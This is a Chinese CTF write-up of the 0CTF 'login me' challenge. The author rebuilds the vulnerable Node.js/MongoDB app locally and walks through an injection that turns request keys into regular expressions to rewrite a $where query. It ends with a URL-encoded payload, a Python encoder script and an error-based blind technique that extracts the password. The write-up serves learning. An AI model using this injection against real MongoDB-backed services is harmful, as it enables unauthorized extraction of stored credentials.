一直想复现0ctf的题目,ezdoor就不说了,当时做完了web的部分,但是拿下来的文件opcache少了个00我也是服了,后来的反编译一直报错,想到就心塞....
今天又想起来另一道给了源码的题目,就是login me,说实话,复现这题也是为了自己学习新的语言,给自己一些挑战,毕竟是nodejs+mongodb,之前自己都没有接触过这方面的开发,只是有略微了解。所以也可以说又是一次标准的零基础日题了~
首先是下载
curl -O https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-3.0.6.tgz
然后就出问题了,如图:
解决方案
subl /etc/resolv.conf
添加
nameserver 8.8.8.8
nameserver 8.8.4.4
nameserver 198.153.192.1
nameserver 198.153.194.1
nameserver 208.67.222.222
nameserver 208.67.220.220
然后
service NetworkManager restart
即可
下载完成后
tar -zxvf mongodb-linux-x86_64-3.0.6.tgz
解压后启动mongodb
cd ./mongodb-linux-x86_64-3.0.6/bin/
启动
./mongod
报错
2018-04-08T17:19:33.264-0700 I STORAGE [initandlisten] exception in initAndListen: 29 Data directory /data/db not found., terminating
2018-04-08T17:19:33.264-0700 I CONTROL [initandlisten] dbexit: rc: 100
发现没有/data/db
,我们去创建
mkdir -p /data/db
再启动,启动完成后,我们尝试
发现成功
sudo apt-get install nodejs
sudo apt-get install npm
测试
发现安装完毕
后尝试node指令,发现继续报错,发现未安装完毕
apt install nodejs-legacy
即可解决
启动我们的js文件
node index.js
继续报错
发现模块没安装(和python差不多)
于是装模块
npm install express
npm install moment
npm install mongodb
npm install body-parser
装完后
node index.js
继续警告
body-parser deprecated undefined extended: provide extended option fuck.js:4:20
修改index.js
// app.use(bodyParser.urlencoded({}));
app.use(bodyParser.urlencoded({extended:false}));
用后者即可解决
继续运行
node.js
发现各种报错
比如
Error: Can't set headers after they are sent.
进程直接崩了
无奈,手动修改源码,改了若干处,用了catch捕捉,和next(),最后可运行脚本如下
var express = require('express')
var app = express()
var bodyParser = require('body-parser')
// app.use(bodyParser.urlencoded({}));
app.use(bodyParser.urlencoded({extended:false}));
var path = require("path");
var moment = require('moment');
var MongoClient = require('mongodb').MongoClient;
var url = "mongodb://localhost:27017/";
MongoClient.connect(url, function(err, db) {
if (err) throw err;
dbo = db.db("test_db");
var collection_name = "users";
var password_column = "password_"+Math.random().toString(36).slice(2)
var password = "21851bc21ae9085346b99e469bdb845f";
// flag is flag{password}
var myobj = { "username": "admin", "last_access": moment().format('YYYY-MM-DD HH:mm:ss Z')};
myobj[password_column] = password;
dbo.collection(collection_name).remove({});
dbo.collection(collection_name).update(
{ name: myobj.name },
myobj,
{ upsert: true }
);
app.get('/', function (req, res) {
res.sendFile(path.join(__dirname,'index.html'));
})
app.post('/check', function (req, res,next) {
var check_function = 'if(this.username == #username# && #username# == "admin" && hex_md5(#password#) == this.'+password_column+'){\nreturn 1;\n}else{\nreturn 0;}';
for(var k in req.body){
var valid = ['#','(',')'].every((x)=>{return req.body[k].indexOf(x) == -1});
if(!valid)
{
res.send('Nope');
return next();
}
check_function = check_function.replace(
new RegExp('#'+k+'#','gm')
,JSON.stringify(req.body[k]))
}
var query = {"$where" : check_function};
var newvalue = {$set : {last_access: moment().format('YYYY-MM-DD HH:mm:ss Z')}}
dbo.collection(collection_name).updateOne(query,newvalue,function (e,r){
if(e)
{
console.log('\r\n', e, '\r\n', e.stack);
try {
res.end(e.stack);
}
catch(e) { }
return next()
}
res.send('ok');
// ... implementing, plz dont release this.
});
})
app.listen(8081)
});
由于本地复现,我就不把flag处理了,就是
flag{21851bc21ae9085346b99e469bdb845f}
然后
mongodb://localhost:27017/
默认开在27017端口,所以不用管
此时去查看表和数据是否正常
> db.users.find()
{ "_id" : ObjectId("5acb11582be7bd70afb9d4c3"), "username" : "admin", "last_access" : "2018-04-09 00:08:08 -07:00", "password_6ya2mt945d9jatt9" : "21851bc21ae9085346b99e469bdb845f" }
发现一切正常,环境最终搭建完毕
心里一万句mmp
这里就直接分析题目当时泄露的源码了,虽然对nodejs不了解..但毕竟都是代码,强行读还是能读的
var express = require('express')
var app = express()
var bodyParser = require('body-parser')
app.use(bodyParser.urlencoded({}));
var path = require("path");
var moment = require('moment');
var MongoClient = require('mongodb').MongoClient;
var url = "mongodb://localhost:27017/";
MongoClient.connect(url, function(err, db) {
if (err) throw err;
dbo = db.db("test_db");
var collection_name = "users";
var password_column = "password_"+Math.random().toString(36).slice(2)
var password = "XXXXXXXXXXXXXXXXXXXXXX";
// flag is flag{password}
var myobj = { "username": "admin", "last_access": moment().format('YYYY-MM-DD HH:mm:ss Z')};
myobj[password_column] = password;
dbo.collection(collection_name).remove({});
dbo.collection(collection_name).update(
{ name: myobj.name },
myobj,
{ upsert: true }
);
app.get('/', function (req, res) {
res.sendFile(path.join(__dirname,'index.html'));
})
app.post('/check', function (req, res) {
var check_function = 'if(this.username == #username# && #username# == "admin" && hex_md5(#password#) == this.'+password_column+'){\nreturn 1;\n}else{\nreturn 0;}';
for(var k in req.body){
var valid = ['#','(',')'].every((x)=>{return req.body[k].indexOf(x) == -1});
if(!valid) res.send('Nope');
check_function = check_function.replace(
new RegExp('#'+k+'#','gm')
,JSON.stringify(req.body[k]))
}
var query = {"$where" : check_function};
var newvalue = {$set : {last_access: moment().format('YYYY-MM-DD HH:mm:ss Z')}}
dbo.collection(collection_name).updateOne(query,newvalue,function (e,r){
if(e) throw e;
res.send('ok');
// ... implementing, plz dont release this.
});
})
app.listen(8081)
});
首先看前面一堆定义
var express = require('express')
var app = express()
var bodyParser = require('body-parser')
app.use(bodyParser.urlencoded({}));
var path = require("path");
var moment = require('moment');
var MongoClient = require('mongodb').MongoClient;
var url = "mongodb://localhost:27017/";
大致就是引入模块,和python差不多
express
body-parser
path
moment
mongodb
然后是nodejs与mongodb的连接
var MongoClient = require('mongodb').MongoClient;
var url = "mongodb://localhost:27017/";
紧接着看操作
MongoClient.connect(url, function(err, db) {
if (err) throw err;
dbo = db.db("test_db");
var collection_name = "users";
var password_column = "password_"+Math.random().toString(36).slice(2)
var password = "XXXXXXXXXXXXXXXXXXXXXX";
// flag is flag{password}
var myobj = { "username": "admin", "last_access": moment().format('YYYY-MM-DD HH:mm:ss Z')};
myobj[password_column] = password;
dbo.collection(collection_name).remove({});
dbo.collection(collection_name).update(
{ name: myobj.name },
myobj,
{ upsert: true }
);
连接上后,得到几个关键信息
数据库名:test_db
表名:users
字段名:
username
last_access
以及随机生成的password列名
password_"+Math.random().toString(36).slice(2)
结果大致这样
password_6ya2mt945d9jatt9
然后数据如下
var myobj = { "username": "admin", "last_access": moment().format('YYYY-MM-DD HH:mm:ss Z')};
myobj[password_column] = password;
其中password就是我们需要的flag
然后进行操作
dbo.collection(collection_name).remove({});
dbo.collection(collection_name).update(
{ name: myobj.name },
myobj,
{ upsert: true }
);
把之前的都删了,然后更新成最新的
也就是说,password这一列的列名每个人都不一样,但是对应的数据不会变,也就是flag
等于给我们的注入加大了难度,即无列名注入
然后接着看两个路由,又想到了python.....
app.get('/', function (req, res)
app.post('/check', function (req, res)
先看get方法的路由
app.get('/', function (req, res) {
res.sendFile(path.join(__dirname,'index.html'));
})
没什么特别的,就是你直接访问这个页面,会打印index.html的源代码
然后看post方法的路由
app.post('/check', function (req, res) {
var check_function = 'if(this.username == #username# && #username# == "admin" && hex_md5(#password#) == this.'+password_column+'){\nreturn 1;\n}else{\nreturn 0;}';
for(var k in req.body){
var valid = ['#','(',')'].every((x)=>{return req.body[k].indexOf(x) == -1});
if(!valid) res.send('Nope');
check_function = check_function.replace(
new RegExp('#'+k+'#','gm')
,JSON.stringify(req.body[k]))
}
var query = {"$where" : check_function};
var newvalue = {$set : {last_access: moment().format('YYYY-MM-DD HH:mm:ss Z')}}
dbo.collection(collection_name).updateOne(query,newvalue,function (e,r){
if(e) throw e;
res.send('ok');
// ... implementing, plz dont release this.
});
})
这里就是一个拼接,大致上就是看你post的username和password是否带有危险参数
即
#
(
)
携带了就返回nope
若未携带,则进行拼接查询,将结果的last_access时间更改为最新的,然后返回ok
这里为了明显,我举个例子
比如我们post数据
username=admin&password=2
经过他的处理变成
if(this.username == "admin" && "admin" == "admin" && hex_md5("2") == this.password_f47ta8usnzrozuxr){ return 1; }else{ return 0;}
然后查询是否有
username = admin
password = md5(2)
的数据
如果有,则更新这条数据的最后登入时间,反则不操作
并且一律返回ok
所以,只要没带危险字符都是返回ok
然后最后是服务端口
app.listen(8081)
即服务跑在8081端口上
一点一点思考,虽然没做过nodejs相关的知识学习,但是至少sql注入做的不少
对于返回一律是相同的操作,注入无非两种方式:
报错注入
时间盲注
经过随手测试
username[]=admin&password=2
发现竟然会报错
MongoError: exception: SyntaxError: Unexpected token ILLEGAL
at /var/challenge/0ctf-loginme/node_modules/mongodb-core/lib/connection/pool.js:595:61
at authenticateStragglers (/var/challenge/0ctf-loginme/node_modules/mongodb-core/lib/connection/pool.js:513:16)
at null.messageHandler (/var/challenge/0ctf-loginme/node_modules/mongodb-core/lib/connection/pool.js:549:5)
at emitMessageHandler (/var/challenge/0ctf-loginme/node_modules/mongodb-core/lib/connection/connection.js:309:10)
at Socket.<anonymous> (/var/challenge/0ctf-loginme/node_modules/mongodb-core/lib/connection/connection.js:452:17)
at emitOne (events.js:77:13)
at Socket.emit (events.js:169:7)
at readableAddChunk (_stream_readable.js:146:16)
at Socket.Readable.push (_stream_readable.js:110:10)
at TCP.onread (net.js:523:20)
那么意味着可能无需进行时间注入
但是从另一个角度思考
我们没有括号,并且不知道列名
攻击对象是mongodb
这里需要知道mongodb是nosql的一种,和我们之前做过的mysql等不太一样
那么突破口在哪里呢?
我们可以看见,代码中的username和password是直接进行拼接的
那我们能不能构造代码注入之类的呢?
替换点在
check_function = check_function.replace(
new RegExp('#'+k+'#','gm')
,JSON.stringify(req.body[k]))
那么这里的RegExp和stringify会不会有问题呢?
我们重点分析一下下面这个流程
for(var k in req.body){
var valid = ['#','(',')'].every((x)=>{return req.body[k].indexOf(x) == -1});
if(!valid) res.send('Nope');
check_function = check_function.replace(
new RegExp('#'+k+'#','gm')
,JSON.stringify(req.body[k]))
}
把恶意字符检测部分去掉
for(var k in req.body)
{
check_function = check_function.replace(
new RegExp('#'+k+'#','gm')
,JSON.stringify(req.body[k]))
}
k是什么?
我们测试一下
var req = Array();
req.body = {'username':'admin','password':'123'};
for(var k in req.body){
console.log(k);
}
打印出结果
username
password
我继续测试
var req = Array();
req.body = {'username':'admin','password':'123','skysec.top':'1111','testtest':'123'};
for(var k in req.body){
console.log(k);
}
打印结果
username
password
skysec.top
testtest
(注:这里由于我不了解nodejs,所以我类比一下php的称呼)
很明显,req.body是一个键值数组,而k正是键名
那么
new RegExp('#'+k+'#','gm')
是什么意思呢?
意思也很简单
g
全局匹配
m
多行;让开始和结束字符(^ 和 $)工作在多行模式工作(例如,^ 和 $ 可以匹配字符串中每一行的开始和结束(行是由 \n 或 \r 分割的),而不只是整个输入字符串的最开始和最末尾处。
合起来就是匹配
#键名#
这样的字符串
然后格式化一下
JSON.stringify(req.body[k])
即用值代替
这样例如
#username#
这样的字符串就被替换成了值
admin
但是这样显然引发了严重的错误
因为这个req.body的内容我们可控
即我们可控键名和值
那么这个时候,注意到正则
new RegExp('#'+k+'#','gm')
如果这个k我们可控,我们能否构造恶意代码呢?
这么一道看似注入的题目,实则就是在考正则表达式
心里一万只cnm飞奔,可以说非常难受了
如果没有正则基础的那么解决这个题会非常难受
考虑到这是面向零基础的文章
所以直接分析payload的构造了
否则讲正则的话能写一本书了
这里给出参考文章
https://coxxs.me/676
以及最后的payload
username=admin&%3F%28%3F%3D%5C%29%7B%29%7C1=%5D%20%2B&%3F%3D%3D%20this.%7C1=%3C%3Dthis%5B&%3Fhex.%2A%3Frd.%2A%3F%22%7C1=9&%3F%22%28%3F%3D%5C%29%29%7C1=&%3F0%3B%7C1=skysec.top&%3Fskysec.top%7C1=%2Ba%2B
解码后我们得到的req.body为
'username':'admin','?(?=\\){)|1':'] +','?== this.|1':'<=this[','?hex.*?rd.*?"|1':'123','?"(?=\\))|1':'','?0;|1':'skysec.top','?skysec.top|1':'+a+'
为了方便查看
我们看一下有哪些键名
username
?(?=\){)|1
?== this.|1
?hex.*?rd.*?"|1
?"(?=\\))|1
?0;|1
?skysec.top|1
这个正则出现频率很高,可以说每一个键名里都出现了
那么这个正则的作用是什么呢?
我们拆分分析
?
匹配前面的子表达式零次或一次,或指明一个非贪婪限定符
这里的
?
用于匹配前面的
#
然后
....
这部分是我们自己构造的正则
最后
|1
我们看一下
|
指明两项之间的一个选择
所以
|1
即如果前面匹配成功,则不再往后匹配
所以这样一来,就导致#对于我们自己填写的正则无任何作用,作用的一直是我们自己构造的正则
解决了两个#的正则问题,我们现在来解决替换内容的问题
第一个
?(?=\){)|1
即
(?=\){)
去掉转义
(?=){)
再去掉最外面包裹的括号
?=){
显而易见了
这里提及一个知识点,叫做断言,只匹配一个位置
比如,你想匹配一个"人"字,但是你只想匹配中国人的人字,不想匹配法国人的人
就可以用一下表达式
(?=中国)人
这里即匹配
){
然后看他的值
] +
那么我们的check_fuction变为
if(this.username == "admin" && "admin" == "admin" && hex_md5(#password#) == this.password_6ya2mt945d9jatt9"] +"){
return 1;
}else{
return 0;}
这一步的作用为:
为构造
this["password_column"]
铺垫
看第二个键
?== this.|1
去掉外层包裹
== this.
这个就很通俗易懂了:匹配== this.
这个字符串
然后看他的值
<=this[
那么我们的check_fuction继续变为
if(this.username == "admin" && "admin" == "admin" && hex_md5(#password#) "<=this["password_6ya2mt945d9jatt9"] +"){
return 1;
}else{
return 0;}
这一步的作用也很明显
构造出比较符
<=
并且彻底闭合我们的
this["password_column"]
然后看第三个键
?hex.*?rd.*?"|1
去掉外层包裹
hex.*?rd.*?"
很显然这里的意思就是匹配
hex_md5(#password#)
这样的东西
然后值我这里设置为123
然后我们的check_fuction变为
if(this.username == "admin" && "admin" == "admin" && "123"<=this["password_6ya2mt945d9jatt9"] +"){
return 1;
}else{
return 0;}
这里的作用是最关键的,即将之前难以下手的hex_md5直接替换成任意值,即我们想要注出的password
然后看第四个键
?"(?=\))|1
去掉外层包裹
"(?=\))
这里还是之前所说的断言,和中国人的例子
我们想匹配一个"人"字,但是只想匹配中国人的人字,不想匹配法国人的人
就可以用一下表达式
(?=中国)人
那么这里只想匹配双引号
并且是后面有)的双引号
然后值为
""
然后我们的check_fuction变为
if(this.username == "admin" && "admin" == "admin" && "123"<=this["password_6ya2mt945d9jatt9"] +""){
return 1;
}else{
return 0;}
这一步的作用即闭合引号
然后看第五个键
?0;|1
去掉外层包裹
0;
这里的意思也很简单
就是匹配
0;
这个字符串
对应的值为
skysec.top
然后我们的check_function变为
if(this.username == "admin" && "admin" == "admin" && "123"<=this["password_6ya2mt945d9jatt9"] +""){
return 1;
}else{
return "skysec.top"}
这一步的作用就是将return后的值变成一个特殊字符(skysec.top),方便后面的操作
然后最后一个键
?skysec.top|1
去掉外层包裹
skysec.top
即匹配skysec.top
字符串
然后替换为值
'+a+'
最后我们得到的check_function为
if(this.username == "admin" && "admin" == "admin" && "123"<=this["password_6ya2mt945d9jatt9"] +""){
return 1;
}else{
return ""+a+""}
这样分析就十分的简单了
即如果我们前面猜测的password(123)小于等于正确的password,那么将return 1
此时程序正常
但若我们猜测的password(999)大于正确的password,则return a
显然不存在这个定义的a,那么程序将会抛出错误
由此我们即可构造注入
综合上述,我们写出一个可利用的payload转化脚本
import urllib
payload = ""
string = 'username:admin,?(?=\\){)|1:] +,?== this.|1:<=this[,?hex.*?rd.*?"|1:9,?"(?=\\))|1:,?0;|1:skysec.top,?skysec.top|1:+a+'
num = string.split(",")
for i in num:
tmp = i.split(":")
payload += urllib.quote(tmp[0])+"="+urllib.quote(tmp[1])+"&"
print payload[:-1]
生成payload
username=admin&%3F%28%3F%3D%5C%29%7B%29%7C1=%5D%20%2B&%3F%3D%3D%20this.%7C1=%3C%3Dthis%5B&%3Fhex.%2A%3Frd.%2A%3F%22%7C1=9&%3F%22%28%3F%3D%5C%29%29%7C1=&%3F0%3B%7C1=skysec.top&%3Fskysec.top%7C1=%2Ba%2B
此时我们猜测的password为9,此时post该数据,可以发现页面报错
MongoError: ReferenceError: a is not defined
at _funcs1 (_funcs1:4:11) near '""}' (line 4)
at Function.MongoError.create (/var/challenge/0ctf-loginme/node_modules/mongodb-core/lib/error.js:45:10)
at toError (/var/challenge/0ctf-loginme/node_modules/mongodb/lib/utils.js:149:22)
at /var/challenge/0ctf-loginme/node_modules/mongodb/lib/collection.js:1035:39
at /var/challenge/0ctf-loginme/node_modules/mongodb-core/lib/connection/pool.js:541:18
at nextTickCallbackWith0Args (node.js:419:9)
at process._tickCallback (node.js:348:13)
和我们之前的预想一样,a未被定义,说明9比正确password的首位大
我们改成1
username=admin&%3F%28%3F%3D%5C%29%7B%29%7C1=%5D%20%2B&%3F%3D%3D%20this.%7C1=%3C%3Dthis%5B&%3Fhex.%2A%3Frd.%2A%3F%22%7C1=1&%3F%22%28%3F%3D%5C%29%29%7C1=&%3F0%3B%7C1=skysec.top&%3Fskysec.top%7C1=%2Ba%2B
可以发现页面正常返回ok
由此,我们之前的预想全部正确,但是在编写脚本的时候又遇到了新的问题
因为传递的data在python里是dict
dict在post时候会根据键名自己排序
变成了
{'username': 'admin', '?0;|1': 'skysec.top', '?hex.*?rd.*?"|1': 'f', '?(?=\\){)|1': '] +', '?skysec.top|1': '+a+', '?"(?=\\))|1': '', '?== this.|1': '<=this['}
这和我们的预期顺序
{'username':'admin','?(?=\\){)|1':'] +','?== this.|1':'<=this[','?hex.*?rd.*?"|1':'123','?"(?=\\))|1':'','?0;|1':'skysec.top','?skysec.top|1':'+a+'}
显然不符,这就导致了问题
因为Nodejs不是php指定参数名,我们传递的顺序正是req.body的顺序
但是正则匹配正是根据req.body的顺序,逐个替换
如果req.body里面的值相同,但顺序不一样,也会导致正则替换的严重错误
比如,预想中,我们第2个值的替换是为第3个值做铺垫,现在第2和第3换了个位置,就会越过我们的预期,导致错误。
所以最后还是选择了burp直接跑即可
最后运行后即可获得flag
21851bc21ae9085346b99e469bdb845f
和我们最初设置的值一致,故此,此题完结
这个题因为我基础比较薄弱,我整整搞了大半天,正则真的是博大精深
不过知识也学到了许多,今后再有nodejs或是mongodb的题我也不会慌乱了
也很希望大家多多尝试自己搭建有源码的题目,不但能提高自己配置环境的能力,也能提高自己解决问题的能力!